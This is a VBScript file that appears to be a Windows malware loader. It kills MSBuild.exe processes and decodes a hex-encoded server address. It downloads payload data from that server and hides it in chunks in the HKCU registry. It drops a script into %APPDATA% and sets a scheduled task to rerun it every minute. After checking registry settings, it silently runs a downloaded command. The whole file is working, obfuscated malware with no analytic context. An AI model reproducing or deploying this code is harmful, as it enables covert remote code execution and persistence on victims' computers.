Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colProcessList = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'MSBuild.exe'")

For Each objProcess In colProcessList
    objProcess.Terminate
Next

Function BTRK(HexData)
    Dim QRSP, WNKY, FJTX, OPLR
    QRSP = ""
    For WNKY = 1 To Len(HexData) Step 2
        FJTX = Mid(HexData, WNKY, 2)
        OPLR = Chr(CLng("&H" & FJTX))
        QRSP = QRSP & OPLR
    Next
    BTRK = QRSP
End Function

Function KLNV()
    On Error Resume Next
    Dim CXWT, LHVP, BKZM
    Set CXWT = CreateObject("WScript.Shell")
    LHVP = CXWT.RegRead(BTRK(PGZY("w1")))
    BKZM = CXWT.RegRead(BTRK(PGZY("w2")))
    KLNV = (LHVP = 2 And BKZM = 0)
    Set CXWT = Nothing
End Function

Sub MTXZ(FVLP, YNKR)
    Dim XPJM
    Set XPJM = CreateObject("WScript.Shell")
    XPJM.RegWrite "HKCU\Software\nhRJoZfYpvbMEZs\" & FVLP, YNKR, "REG_SZ"
    Set XPJM = Nothing
End Sub

Function PGZY(RJYL)
    On Error Resume Next
    Dim BQLF, TKSM
    TKSM = BTRK(BTRK(BTRK("333633383337333433373334333733303333363133323636333236363333333433333335333236353333333833333338333236353333333133333338333333363332363533333331333333363333333233323636333333313333333533333330333333313333333233333330333333323333333533323636"))) & RJYL
    Set BQLF = CreateObject("WinHttp.WinHttpRequest.5.1")
    BQLF.Open "GET", TKSM, False
    BQLF.Send
    If BQLF.Status = 200 Then
        PGZY = BQLF.ResponseText
    Else
        PGZY = ""
    End If
    Set BQLF = Nothing
End Function


Sub HQBL(ZXPM)
    Dim KDVG, VBRJ
    Set KDVG = CreateObject("Scripting.FileSystemObject")
    VBRJ = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\nhRJoZfYpvbMEZs.vbs"
    With KDVG.CreateTextFile(VBRJ, True)
        .Write ZXPM
        .Close
    End With
    Set KDVG = Nothing
End Sub

Sub YTFD()
    On Error Resume Next
    Dim KDRL, LFXQ, JNVZ
    Set KDRL = CreateObject("Schedule.Service")
    KDRL.Connect
    Set LFXQ = KDRL.NewTask(0)
    With LFXQ.Triggers.Create(1)
        .StartBoundary = "2024-08-16T00:00:00"
        .Repetition.Interval = "PT1M"
    End With
    With LFXQ.Settings
        .DisallowStartIfOnBatteries = False
        .StopIfGoingOnBatteries = False
        .AllowHardTerminate = False
    End With
    LFXQ.Actions.Create(0).Path = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\nhRJoZfYpvbMEZs.vbs"
    Set JNVZ = KDRL.GetFolder("\")
    JNVZ.RegisterTaskDefinition "nhRJoZfYpvbMEZs", LFXQ, 6, , , 3
    Set KDRL = Nothing
End Sub

Sub XWCB(JNLM)
    Dim DFVR, RJYQ, PKXT, QKTR, HGFC
    DFVR = Len(JNLM)
    HGFC = 1
    For RJYQ = 1 To DFVR Step 20000
        PKXT = Mid(JNLM, RJYQ, 20000)
        QKTR = "\donn\data" & HGFC
        MTXZ QKTR, PKXT
        HGFC = HGFC + 1
    Next
End Sub

Sub ZMCL()
    MTXZ "Path", "nhRJoZfYpvbMEZs"
    MTXZ "in", "0"
    MTXZ "i", BTRK("4D534275696C642E657865")
    MTXZ "s", BTRK(PGZY("s"))
    MTXZ "v", Replace(BTRK(PGZY("v")), "|path|", "nhRJoZfYpvbMEZs")
    MTXZ "r", PGZY("r")
    MTXZ "cn", BTRK(PGZY("cn"))
    HQBL Replace(BTRK(PGZY("file")), "|path|", "nhRJoZfYpvbMEZs")
    XWCB PGZY("devil.txt")
    YTFD()
    If KLNV() Then
      Dim WshShell
      Set WshShell = CreateObject("WScript.Shell")
    
      Dim InstantPath
      InstantPath = Replace(BTRK(PGZY("instant")), "|path|", "nhRJoZfYpvbMEZs")
    
      MTXZ "instant", InstantPath
      WshShell.Run InstantPath, 0
      MTXZ "in", "1"
    
    Set WshShell = Nothing
End If

	
End Sub

ZMCL()